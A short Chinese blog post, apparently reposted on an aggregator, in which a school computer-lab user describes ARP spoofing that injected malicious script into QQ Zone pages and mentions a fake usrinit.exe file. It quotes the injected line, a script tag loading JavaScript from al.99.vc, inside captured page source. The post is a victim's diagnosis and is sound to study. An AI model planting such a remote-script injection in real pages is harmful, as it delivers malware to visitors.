al.99.vc挂马分析与解决建议

来源：互联网发布：tcl电视网络电视看不了编辑：程序博客网时间：2024/05/17 08:10

al.99.vc挂马分析与解决建议

arp最近似乎有热起来啦。这几天人一多就卡，不是一般的卡，QQ上去倒是没啥问题。就是网页几乎就打不开。巨慢！！

昨晚把机子都检查啦便并且关闭网络恢复系统。早起又中。

名字不一样，其中一个是usrinit.exe，我打算用好的userinit.exe去覆盖中毒的机子。

360arp防火墙打开不时会报警。但没有ip地址只有mac。这种欺骗性的arp用360arp防火墙根本不起作用似的。

因为这个机房我就让这个机子上拉，所以肯定是其他机房也arp啦

打开qq空间已经被挂马啦。

<script src=http://al.99.vc/1.js></script> <html><head><meta http-equiv=”Content-Type” content=”text/html;charset=gb2312″ /><script>var g_Src_Domain=”u.cnc.qzone.qq.com”,g_iUin=27020287,_s_=new Date(),g_JSON=1;</script><script src=”http://u.cnc.qzone.qq.com/cgi-bin/entry_js.cgi?uin=27020287&r=cnc”></script><script src=”http://cnc.imgcache.qq.com/qzone/G4.1.js”></script><script>if (typeof G41Loaded==”undefined”) location=”http://qzone.qq.com/new_help/error.htm”</script><noscript><img src=”http://cnc.imgcache.qq.com/qzone/noscript.gif”></noscript></html>

其他的站打开都没问题。刚发现还以为是腾讯空间有问题呢。急忙让朋友liu测试下没有发现我这情况（红色部分的挂马代码）。所以认为是被其他机房机子arp啦，arp dns！！！

看看放学能不能给别的机房沟通沟通看看。解决问题。

qzone被挂马